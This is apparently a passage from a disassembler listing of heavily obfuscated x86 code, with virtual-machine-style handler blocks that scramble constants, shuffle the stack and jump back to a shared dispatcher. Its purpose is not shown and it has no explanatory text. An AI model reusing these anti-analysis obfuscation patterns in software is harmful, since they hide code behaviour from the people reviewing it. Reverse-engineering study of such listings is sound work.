		jmp	loc_58365F
; ---------------------------------------------------------------------------


loc_585DCE:				; CODE XREF: ud2_____:005871FCj
		dec	ebp
		xor	ebp, 40A613Bh
		add	esi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		sub	esi, ebp
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_588A11
; ---------------------------------------------------------------------------


loc_585DFA:				; CODE XREF: ud2_____:0058AB47j
		add	al, 9Bh
		pop	dx
		jmp	loc_587464
; ---------------------------------------------------------------------------


loc_585E03:				; CODE XREF: ud2_____:005889B8j
		not	esi
		xor	esi, 0D98BB3F1h
		jmp	loc_592C8A
; ---------------------------------------------------------------------------


loc_585E10:				; CODE XREF: ud2_____:00591980j
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_583A38
; ---------------------------------------------------------------------------


loc_585E28:				; CODE XREF: ud2_____:005851ABj
		add	esp, 4
		jmp	loc_5827EB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		jmp	loc_58690D
; ---------------------------------------------------------------------------


loc_585E3A:				; CODE XREF: ud2_____:0057FE6Bj
		pop	esp
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_585E40:				; CODE XREF: ud2_____:0058F902j
		mov	ecx, 5C233C24h
		xor	esi, ecx
		pop	ecx
		add	eax, esi
		pop	esi
		sub	eax, edi
		jmp	loc_58898E
; ---------------------------------------------------------------------------


loc_585E52:				; CODE XREF: ud2_____:005929A2j
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		push	eax
		jmp	loc_58036F
; ---------------------------------------------------------------------------


loc_585E64:				; CODE XREF: ud2_____:0058117Ej
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_585E7D:				; CODE XREF: ud2_____:00584713j
		add	esi, 47C55252h
		add	edx, esi
		pop	esi
		push	ebx
		jmp	loc_580104
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_57F693
; ---------------------------------------------------------------------------


loc_585E94:				; CODE XREF: ud2_____:005926C9j
		xor	cl, 4Eh
		or	bh, cl
		pop	ecx
		push	7F7Ch
		jmp	loc_57E32B
; ---------------------------------------------------------------------------


loc_585EA4:				; CODE XREF: ud2_____:00591510j
		xchg	ecx, ebp
		push	esi
		push	ebp
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_588316
; ---------------------------------------------------------------------------


loc_585EBA:				; CODE XREF: ud2_____:00591EABj
		sub	ebp, 606F27A5h
		shl	ebp, 5
		shr	ebp, 8
		jmp	loc_58A660
; ---------------------------------------------------------------------------


loc_585ECB:				; CODE XREF: ud2_____:0058686Aj
		mov	[esp], ebx
		mov	bh, dl
		mov	al, bh
		jmp	loc_580EEE
; ---------------------------------------------------------------------------


loc_585ED7:				; CODE XREF: ud2_____:00582E4Cj
		and	edx, ebp
		pop	ebp
		or	edx, 55D06813h
		xor	edx, 55D06E97h
		add	edi, 56A93BD9h
		add	edi, edx
		jmp	loc_591857
; ---------------------------------------------------------------------------


loc_585EF3:				; CODE XREF: ud2_____:0058CF20j
		sub	eax, 1AA91835h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_580C51
; ---------------------------------------------------------------------------


loc_585F03:				; CODE XREF: ud2_____:0058F542j
		mov	[esp], ebx
		mov	ebx, 1ED671E1h
		push	5365h
		jmp	loc_59223C
; ---------------------------------------------------------------------------


loc_585F15:				; CODE XREF: ud2_____:0058476Ej
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_58C58D
; ---------------------------------------------------------------------------


loc_585F1F:				; CODE XREF: ud2_____:00582672j
		sub	esi, ebp
		pop	ebp
		sub	eax, 5DA642ABh
		jmp	loc_58F5C2
; ---------------------------------------------------------------------------


loc_585F2C:				; CODE XREF: ud2_____:0058602Cj
		add	esp, 4
		jmp	loc_58C740
; ---------------------------------------------------------------------------


loc_585F37:				; CODE XREF: ud2_____:0058ADB3j
		sub	ebx, 7C5F4DFEh
		sub	edi, ebx
		jmp	loc_58B002
; ---------------------------------------------------------------------------


loc_585F44:				; CODE XREF: ud2_____:0058EE79j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_58C3A9
; ---------------------------------------------------------------------------


loc_585F52:				; CODE XREF: ud2_____:0057E539j
		push	esi
		mov	esi, 2D5A0D09h
		jmp	loc_57F438
; ---------------------------------------------------------------------------


loc_585F5D:				; CODE XREF: ud2_____:00587C69j
		push	36E54DE7h
		pop	edi
		shl	edi, 1
		sub	edi, 0FFFFFFFFh
		shr	edi, 4
		neg	edi
		shl	edi, 2
		jmp	loc_58293E
; ---------------------------------------------------------------------------


loc_585F75:				; CODE XREF: ud2_____:0058D7E6j
		push	ebx
		push	eax
		pop	ebx
		pop	eax
		jmp	loc_583332
; ---------------------------------------------------------------------------


loc_585F7E:				; CODE XREF: ud2_____:00580276j
		mov	esp, [esp]
		add	edx, 2
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_5914D0
; ---------------------------------------------------------------------------


loc_585F8E:				; CODE XREF: ud2_____:00591C6Cj
		add	edi, 4
		jmp	loc_585B2B
; ---------------------------------------------------------------------------


loc_585F99:				; CODE XREF: ud2_____:00583560j
		mov	esp, [esp]
		jmp	loc_5810B4
; ---------------------------------------------------------------------------


loc_585FA1:				; CODE XREF: ud2_____:0058B9ECj
		add	esp, 4
		jmp	loc_58B042
; ---------------------------------------------------------------------------


loc_585FA9:				; CODE XREF: ud2_____:0058A039j
		add	[esp], ax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_585FB3:				; CODE XREF: ud2_____:00586DE4j
		mov	[esp], ax
		jmp	loc_5821BD
; ---------------------------------------------------------------------------


loc_585FBC:				; CODE XREF: ud2_____:00581271j
		pop	esp
		jmp	loc_591ED5
; ---------------------------------------------------------------------------


loc_585FC2:				; CODE XREF: ud2_____:0057F62Cj
		mov	[esp], edi
		push	ebx
		push	74C9169Fh
		jmp	loc_58AE76
; ---------------------------------------------------------------------------


loc_585FD0:				; CODE XREF: ud2_____:0058E64Cj
		mov	[esp], ebx
		push	1F8Ah
		mov	[esp], esi
		mov	esi, 3254495Ch
		sub	dword ptr [esp+4], 3CD41BE8h
		add	dword ptr [esp+4], 308456A2h
		add	dword ptr [esp+4], 72F71C8Eh
		jmp	loc_58B00A
; ---------------------------------------------------------------------------


loc_585FFD:				; CODE XREF: ud2_____:00584051j
		push	ebx
		mov	ebx, 722C05C0h
		jmp	loc_58B2EE
; ---------------------------------------------------------------------------


loc_586008:				; CODE XREF: ud2_____:0057F550j
		xor	[esp], esi
		jmp	loc_57F08B
; ---------------------------------------------------------------------------


loc_586010:				; CODE XREF: ud2_____:0058CF14j
		mov	ebx, 49DB2D4Ch
		mov	edi, ebx
		pop	ebx
		add	edi, 1
		push	ecx
		mov	ecx, 430363A9h
		jmp	loc_57E7CA
; ---------------------------------------------------------------------------


loc_586029:				; CODE XREF: ud2_____:0058A84Cj
		mov	eax, [esp]
		jmp	loc_585F2C
; ---------------------------------------------------------------------------


loc_586031:				; CODE XREF: ud2_____:0058D7A7j
		xor	ecx, 0C3768418h
		jmp	loc_58BEFD
; ---------------------------------------------------------------------------


loc_58603C:				; CODE XREF: ud2_____:0059182Dj
		xchg	ebp, [esp]
		jmp	loc_5855EF
; ---------------------------------------------------------------------------


loc_586044:				; CODE XREF: ud2_____:00588434j
		push	esi
		push	esp
		pop	esi
		push	ebp
		push	ecx
		push	1A111884h
		pop	ecx
		add	ecx, 6931677Ch
		shr	ecx, 6
		add	ecx, 47A5B0Eh
		jmp	loc_57F105
; ---------------------------------------------------------------------------


loc_586063:				; CODE XREF: ud2_____:0058DE5Cj
		mov	[esp], edi
		push	33EF01D3h
		pop	edi
		push	edx
		mov	edx, 2A3C265Ch
		push	ebp
		mov	ebp, 0C6CE302Bh
		add	edx, ebp
		pop	ebp
		jmp	loc_583CAB
; ---------------------------------------------------------------------------


loc_586080:				; CODE XREF: ud2_____:00587691j
		add	edx, ebp
		pop	ebp
		push	eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp]
		jmp	loc_581338
; ---------------------------------------------------------------------------


loc_586093:				; CODE XREF: ud2_____:005838FDj
		inc	bh
		shl	bh, 7
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_592159
; ---------------------------------------------------------------------------


loc_5860A3:				; CODE XREF: ud2_____:0057FB2Fj
		mov	ebp, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58467F
; ---------------------------------------------------------------------------


loc_5860B7:				; CODE XREF: ud2_____:005867F0j
		xor	ebp, 38F305C4h
		mov	ecx, ebp
		mov	ebp, [esp]
		push	esi
		jmp	loc_583A1E
; ---------------------------------------------------------------------------


loc_5860C8:				; CODE XREF: ud2_____:0058EC8Aj
		push	ecx
		mov	ecx, 26A35083h
		and	ecx, 194610EBh
		shl	ecx, 8
		not	ecx
		push	eax
		mov	eax, 4D3CDCEFh
		add	ecx, eax
		jmp	loc_58D2CF
; ---------------------------------------------------------------------------


loc_5860E6:				; CODE XREF: ud2_____:005865A1j
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	bx
		jmp	loc_589C3A
; ---------------------------------------------------------------------------


loc_5860F8:				; CODE XREF: ud2_____:005842D9j
		xor	eax, 0B709864Ch
		or	edx, eax
		jmp	loc_589C0F
; ---------------------------------------------------------------------------


loc_586104:				; CODE XREF: ud2_____:0059151Dj
		push	eax
		jmp	loc_58128B
; ---------------------------------------------------------------------------


loc_58610A:				; CODE XREF: ud2_____:00582D1Dj
		inc	ebp
		jmp	loc_592CF8
; ---------------------------------------------------------------------------


loc_586110:				; CODE XREF: ud2_____:0058DE14j
		pop	bp
		jmp	loc_583821
; ---------------------------------------------------------------------------


loc_586117:				; CODE XREF: ud2_____:00590464j
		push	edx
		mov	edx, 4
		add	esi, 3662981h
		add	esi, edx
		sub	esi, 3662981h
		jmp	loc_584651
; ---------------------------------------------------------------------------


loc_586130:				; CODE XREF: ud2_____:00587657j
		add	eax, 4
		push	eax
		jmp	loc_589B84
; ---------------------------------------------------------------------------


loc_58613B:				; CODE XREF: ud2_____:005885C8j
		sub	eax, 1299431Dh
		not	eax
		sub	eax, 0CAF96A07h
		mov	edx, eax
		pop	eax
		and	edx, 1A6523F8h
		shl	edx, 3
		push	ebp
		mov	ebp, 52201584h
		xor	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ecx, edx
		jmp	loc_57EB19
; ---------------------------------------------------------------------------


loc_58616C:				; CODE XREF: ud2_____:00585CA1j
		pop	ecx
		sub	ecx, 0FFFFFFFFh
		jmp	loc_584157
; ---------------------------------------------------------------------------


loc_586178:				; CODE XREF: ud2_____:0058C2E3j
		add	esp, 4
		push	esi
		sub	esp, 4
		jmp	loc_5878B8
; ---------------------------------------------------------------------------


loc_58618A:				; CODE XREF: ud2_____:0058BE91j
		add	edi, ebx
		pop	ebx
		jmp	loc_58CCFD
; ---------------------------------------------------------------------------


loc_586192:				; CODE XREF: ud2_____:00584847j
		mov	[esp], eax
		jmp	loc_58A128
; ---------------------------------------------------------------------------


loc_58619A:				; CODE XREF: ud2_____:00583A05j
		mov	edx, 8EF0155h
		jmp	loc_592491
; ---------------------------------------------------------------------------


loc_5861A4:				; CODE XREF: ud2_____:0058BA70j
		pop	edx
		xor	ebx, ecx
		pop	ecx
		sub	esi, 58B6BDEh
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5861B3:				; CODE XREF: ud2_____:00583402j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5911DB
; ---------------------------------------------------------------------------


loc_5861BE:				; CODE XREF: ud2_____:005830F8j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_57F9CE
; ---------------------------------------------------------------------------


loc_5861C7:				; CODE XREF: ud2_____:00586423j
		mov	[esp], bx
		jmp	loc_58B053
; ---------------------------------------------------------------------------


loc_5861D0:				; CODE XREF: ud2_____:0058E658j
		push	edx
		jmp	loc_587AE3
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5861DE:				; CODE XREF: ud2_____:0058F27Fj
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, ecx
		jmp	loc_584D41
; ---------------------------------------------------------------------------


loc_5861F5:				; CODE XREF: ud2_____:00587BBCj
		pop	esi
		or	ebp, 29746ACCh
		not	ebp
		push	0
		sub	[esp], ebp
		pop	ebp
		shl	ebp, 1
		add	ebp, 0E9F77D45h
		sub	edi, ebp
		pop	ebp
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	176Ah
		mov	[esp], esi
		push	ecx
		push	366A39EAh
		jmp	loc_582164
; ---------------------------------------------------------------------------
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		push	eax
		mov	eax, 1F5638B3h
		xor	eax, 14C656C9h
		dec	eax
		not	eax
		not	eax
		jmp	loc_58B06C
; ---------------------------------------------------------------------------


loc_586252:				; CODE XREF: ud2_____:00587A57j
		add	esp, 4
		push	6400h
		jmp	loc_58F041
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		push	dword ptr [esp]
		pop	ecx
		push	edi
		push	4D05h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_585A3B
; ---------------------------------------------------------------------------


loc_586275:				; CODE XREF: ud2_____:00592BE0j
		add	al, ch
		sub	al, 0A2h
		mov	ecx, [esp]
		jmp	loc_58A2ED
; ---------------------------------------------------------------------------


loc_586281:				; CODE XREF: ud2_____:0058429Ej
		mov	ebx, 469778F5h
		and	ebp, ebx
		pop	ebx
		not	ebp
		inc	ebp
		add	ebp, 46930864h
		add	edi, 4ECB2FDFh
		add	edi, ebp
		sub	edi, 4ECB2FDFh
		push	dword ptr [esp]
		jmp	loc_58C6B1
; ---------------------------------------------------------------------------


loc_5862A8:				; CODE XREF: ud2_____:005916B4j
		add	ebp, 6E15686Ch
		add	ebp, 75CF5BFBh
		sub	ebp, 46BA314Bh
		add	ebp, ebx
		add	ebp, 46BA314Bh
		sub	ebp, 75CF5BFBh
		sub	ebp, 6E15686Ch
		pop	ebx
		jmp	loc_58A3B0
; ---------------------------------------------------------------------------


loc_5862D4:				; CODE XREF: ud2_____:005905CDj
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_58675E
; ---------------------------------------------------------------------------


loc_5862E5:				; CODE XREF: ud2_____:0058BB7Fj
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	eax, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58DE61
; ---------------------------------------------------------------------------


loc_58630C:				; CODE XREF: ud2_____:0058F68Aj
		push	39E3h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_592988
; ---------------------------------------------------------------------------


loc_58631A:				; CODE XREF: ud2_____:00591BCEj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58F64D
; ---------------------------------------------------------------------------


loc_58632B:				; CODE XREF: ud2_____:005909A4j
		pop	ebp
		or	si, 6E67h
		or	si, 75E6h
		sub	si, 7232h
		push	di
		mov	di, 52E3h
		jmp	loc_58D310
; ---------------------------------------------------------------------------


loc_586346:				; CODE XREF: ud2_____:0058AB1Fj
		and	edi, esi
		pop	esi
		sub	edi, 11369CC6h
		add	esi, edi
		pop	edi
		jmp	loc_587B6D
; ---------------------------------------------------------------------------


loc_586357:				; CODE XREF: ud2_____:00588934j
		mov	edi, 1E293A44h
		xor	edi, 80318E2h
		shl	edi, 2
		shr	edi, 2
		xor	edi, 5750BE0h
		push	eax
		mov	eax, 52015A76h
		xor	edi, eax
		pop	eax
		add	ebx, edi
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		jmp	loc_57F66F
; ---------------------------------------------------------------------------


loc_586385:				; CODE XREF: ud2_____:005901C9j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_57F541
; ---------------------------------------------------------------------------
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_58CB68
; ---------------------------------------------------------------------------


loc_5863A1:				; CODE XREF: ud2_____:00583A33j
		mov	edx, [esp]
		jmp	loc_584950
; ---------------------------------------------------------------------------


loc_5863A9:				; CODE XREF: ud2_____:00591E62j
		and	edi, 62FD2546h
		xor	edi, 0BF3F57C8h
		xor	ebp, edi
		jmp	loc_5809DF
; ---------------------------------------------------------------------------


loc_5863BC:				; CODE XREF: ud2_____:0058A880j
		xor	edx, [esp]
		pop	esp
		jmp	loc_580B75
; ---------------------------------------------------------------------------


loc_5863C5:				; CODE XREF: ud2_____:00583577j
		sub	ebp, edi
		mov	edi, ebp
		jmp	loc_58A93F
; ---------------------------------------------------------------------------


loc_5863CE:				; CODE XREF: ud2_____:0058494Bj
		pop	esi
		xchg	ebp, esi
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, esi
		jmp	loc_57FB34
; ---------------------------------------------------------------------------


loc_5863DE:				; CODE XREF: ud2_____:00588586j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		push	eax
		jmp	loc_583A55
; ---------------------------------------------------------------------------


loc_5863FA:				; CODE XREF: ud2_____:0057EB0Cj
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_58730A
; ---------------------------------------------------------------------------


loc_586413:				; CODE XREF: ud2_____:00581AF1j
		pop	esi
		add	esi, 4
		jmp	loc_590D0F
; ---------------------------------------------------------------------------


loc_58641F:				; CODE XREF: ud2_____:0057E89Cj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5861C7
; ---------------------------------------------------------------------------


loc_586428:				; CODE XREF: ud2_____:00585D73j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebp, 2
		sub	esp, 4
		jmp	loc_584F8B
; ---------------------------------------------------------------------------


loc_58644B:				; CODE XREF: ud2_____:0058979Bj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_586454:				; CODE XREF: ud2_____:0058E82Fj
		push	1249h
		jmp	loc_58395B
; ---------------------------------------------------------------------------


loc_58645E:				; CODE XREF: ud2_____:0058CD7Aj
		mov	edx, ebp
		mov	ebp, [esp]
		jmp	loc_587D25
; ---------------------------------------------------------------------------


loc_586468:				; CODE XREF: ud2_____:005857F8j
		push	esp
		pop	edi
		add	edi, 4
		push	esi
		push	ecx
		jmp	loc_591923
; ---------------------------------------------------------------------------


loc_586477:				; CODE XREF: ud2_____:0058A9D6j
		mov	ebp, edi
		jmp	loc_581EA1
; ---------------------------------------------------------------------------


loc_58647E:				; CODE XREF: ud2_____:005833A4j
		add	bl, 33h
		mov	ecx, [esp]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_592FBB
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_58B249
; ---------------------------------------------------------------------------


loc_586498:				; CODE XREF: ud2_____:00589A6Cj
		push	edi
		mov	edi, 5C64099Fh
		add	edx, edi
		jmp	loc_589745
; ---------------------------------------------------------------------------


loc_5864A5:				; CODE XREF: ud2_____:00580351j
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		push	ebx
		jmp	loc_58B898
; ---------------------------------------------------------------------------


loc_5864B3:				; CODE XREF: ud2_____:0058F931j
		mov	eax, 4
		add	ecx, 21245DEEh
		sub	ecx, eax
		push	ebp
		jmp	loc_58BDA7
; ---------------------------------------------------------------------------


loc_5864C6:				; CODE XREF: ud2_____:00585B36j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	719Ch
		jmp	loc_58F5F3
; ---------------------------------------------------------------------------


loc_5864DF:				; CODE XREF: ud2_____:0057F2F0j
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5864EE:				; CODE XREF: ud2_____:00591588j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		jmp	loc_5850F9
; ---------------------------------------------------------------------------


loc_586506:				; CODE XREF: ud2_____:0057F933j
		pop	ebx
		xor	al, 0Eh
		sub	al, 47h
		inc	al
		inc	al
		jmp	loc_5916E3
; ---------------------------------------------------------------------------


loc_586514:				; CODE XREF: ud2_____:00585473j
		push	ebp
		mov	ebp, esp
		push	eax
		push	ecx
		push	ebp
		push	807782Bh
		pop	ebp
		xor	ebp, 23075358h
		mov	ecx, ebp
		pop	ebp
		xor	ecx, 1FB37A83h
		add	ecx, 0CB4CAE14h
		mov	eax, ecx
		pop	ecx
		sub	ebp, 3F40662Ah
		sub	ebp, 59E378BCh
		jmp	loc_58C818
; ---------------------------------------------------------------------------


loc_586549:				; CODE XREF: ud2_____:0058278Bj
		push	esi
		mov	esi, 24EF1857h
		sub	edx, esi
		jmp	loc_591137
; ---------------------------------------------------------------------------


loc_586556:				; CODE XREF: ud2_____:00582139j
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 5E270D9Ah
		and	ecx, 662F3735h
		push	eax
		mov	eax, 13D37675h
		and	ecx, eax
		pop	eax
		shr	ecx, 2
		jmp	loc_58ACB4
; ---------------------------------------------------------------------------


loc_586579:				; CODE XREF: ud2_____:0057FCCEj
		or	ebp, 69DE3377h
		shr	ebp, 6
		or	ebp, 5E282BA3h
		push	ebx
		mov	ebx, 3C3630ABh
		jmp	loc_586C07
; ---------------------------------------------------------------------------


loc_586593:				; CODE XREF: ud2_____:0058C567j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		jmp	loc_580AC5
; ---------------------------------------------------------------------------


loc_5865A0:				; CODE XREF: ud2_____:00589475j
		pop	ebx
		jmp	loc_5860E6
; ---------------------------------------------------------------------------


loc_5865A6:				; CODE XREF: ud2_____:005859FDj
		push	edi
		jmp	loc_591D18
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5865BB:				; CODE XREF: ud2_____:00591A9Fj
		sub	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	edi, esi
		pop	esi
		add	edi, 4
		jmp	loc_58BD14
; ---------------------------------------------------------------------------


loc_5865D2:				; CODE XREF: ud2_____:005811E5j
		pop	edx
		jmp	loc_592CBC
; ---------------------------------------------------------------------------


loc_5865D8:				; CODE XREF: ud2_____:0058C021j
		add	ebp, 4
		push	487Ch
		mov	[esp], edx
		mov	edx, 7BF025C6h
		sub	edx, 0FFFFFFFFh
		jmp	loc_580EAA
; ---------------------------------------------------------------------------


loc_5865F6:				; CODE XREF: ud2_____:0058FFE7j
		push	esi
		mov	esi, 280213AFh
		shr	esi, 4
		jmp	loc_588B18
; ---------------------------------------------------------------------------


loc_586604:				; CODE XREF: ud2_____:005888AEj
		pop	esp
		and	[esp], al
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58660E:				; CODE XREF: ud2_____:0058F0FAj
		push	ebx
		mov	ebx, 181DDFh
		xor	ebx, 181DDBh
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_581B89
; ---------------------------------------------------------------------------


loc_58662B:				; CODE XREF: ud2_____:0058F23Fj
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		jmp	loc_57F38A
; ---------------------------------------------------------------------------


loc_586647:				; CODE XREF: ud2_____:0059293Cj
		add	ecx, 4
		jmp	loc_5843F2
; ---------------------------------------------------------------------------


loc_586652:				; CODE XREF: ud2_____:0058ED80j
		pop	edx
		neg	esi
		xor	esi, 83A0D77Ch
		sub	edi, 69DA62D9h
		add	edi, esi
		add	edi, 69DA62D9h
		pop	esi
		push	45B8h
		mov	[esp], edx
		jmp	loc_583D27
; ---------------------------------------------------------------------------


loc_586677:				; CODE XREF: ud2_____:00580824j
		mov	ebx, 72FE5A4Bh
		mov	ebp, ebx
		pop	ebx
		add	ebp, 0FFFFFFFFh
		not	ebp
		jmp	loc_5840BE
; ---------------------------------------------------------------------------


loc_586689:				; CODE XREF: ud2_____:0057F1FDj
		mov	eax, [esp]
		jmp	loc_58D012
; ---------------------------------------------------------------------------


loc_586691:				; CODE XREF: ud2_____:0057EA37j
		add	esp, 4
		jmp	loc_591C95
; ---------------------------------------------------------------------------


loc_58669C:				; CODE XREF: ud2_____:0058FC69j
		add	edx, 65903DF7h
		push	esi
		push	edi
		jmp	loc_5852A2
; ---------------------------------------------------------------------------


loc_5866A9:				; CODE XREF: ud2_____:00591DA6j
		add	ah, 0A8h
		dec	ah
		neg	ah
		add	ah, 0F7h
		sub	bh, ah
		pop	eax
		jmp	loc_58D4B3
; ---------------------------------------------------------------------------


loc_5866BB:				; CODE XREF: ud2_____:00584A0Bj
		add	esp, 4
		sub	esp, 4
		jmp	loc_585573
; ---------------------------------------------------------------------------


loc_5866C9:				; CODE XREF: ud2_____:0058307Bj
		add	al, 0E0h
		push	edi
		mov	edi, esp
		push	ebp
		jmp	loc_590ADB
; ---------------------------------------------------------------------------


loc_5866D4:				; CODE XREF: ud2_____:0057FD86j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5866D9:				; CODE XREF: ud2_____:0058150Ej
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_5892C8
; ---------------------------------------------------------------------------


loc_5866E4:				; CODE XREF: ud2_____:0058751Bj
		shr	ch, 4
		or	ch, 7Dh
		xor	ch, 29h
		xor	ch, 67h
		mov	dl, 1Eh
		xor	dl, ch
		jmp	loc_59060B
; ---------------------------------------------------------------------------


loc_5866F9:				; CODE XREF: ud2_____:0058A475j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 4
		jmp	loc_5885E2
; ---------------------------------------------------------------------------


loc_586710:				; CODE XREF: ud2_____:005876EFj
		sub	bh, 5Fh
		add	cl, bh
		pop	ebx
		and	cl, 0ACh
		jmp	loc_592422
; ---------------------------------------------------------------------------


loc_58671E:				; CODE XREF: ud2_____:0058C337j
		pop	esi
		xor	esi, 74D2627Dh
		shr	esi, 2
		jmp	loc_57F025
; ---------------------------------------------------------------------------


loc_58672D:				; CODE XREF: ud2_____:00580681j
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_582D3A
; ---------------------------------------------------------------------------


loc_58673C:				; CODE XREF: ud2_____:005874BCj
		neg	esi
		xor	esi, 4E66798Fh
		sub	esi, 7BFB7DE5h
		sub	esi, 0B700DFABh
		add	ebx, esi
		pop	esi
		push	eax
		mov	eax, 8209B63Dh
		jmp	loc_5905A0
; ---------------------------------------------------------------------------


loc_58675E:				; CODE XREF: ud2_____:005862E0j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_592E99
; ---------------------------------------------------------------------------


loc_58676C:				; CODE XREF: ud2_____:0058A918j
		pop	edi
		not	edi
		jmp	loc_58C5A5
; ---------------------------------------------------------------------------


loc_586774:				; CODE XREF: ud2_____:0058C64Fj
		push	edi
		mov	edi, 1ACA2752h
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, edx
		push	esi
		mov	esi, 474B088Ch
		xor	esi, 5D812FDEh
		sub	eax, esi
		pop	esi
		mov	edx, [esp]
		jmp	loc_58CD7F
; ---------------------------------------------------------------------------


loc_58679E:				; CODE XREF: ud2_____:0058C397j
		xor	edx, ebp
		jmp	loc_582D1B
; ---------------------------------------------------------------------------


loc_5867A5:				; CODE XREF: ud2_____:00580AFDj
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59288B
; ---------------------------------------------------------------------------
		push	5991h
		push	6EC8h
		jmp	loc_5872CC
; ---------------------------------------------------------------------------


loc_5867C6:				; CODE XREF: ud2_____:0057FC52j
		pop	edx
		jmp	loc_589DA3
; ---------------------------------------------------------------------------


loc_5867CC:				; CODE XREF: ud2_____:00592518j
		push	2EA1h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58212B
; ---------------------------------------------------------------------------


loc_5867E7:				; CODE XREF: ud2_____:00589A8Cj
		push	ebx
		xor	dword ptr [esp], 38F305C4h
		pop	ebp
		jmp	loc_5860B7
; ---------------------------------------------------------------------------


loc_5867F5:				; CODE XREF: ud2_____:0058FDACj
		mov	dl, [esp+2]
		mov	[esp+2], bh
		mov	bx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_5918F8
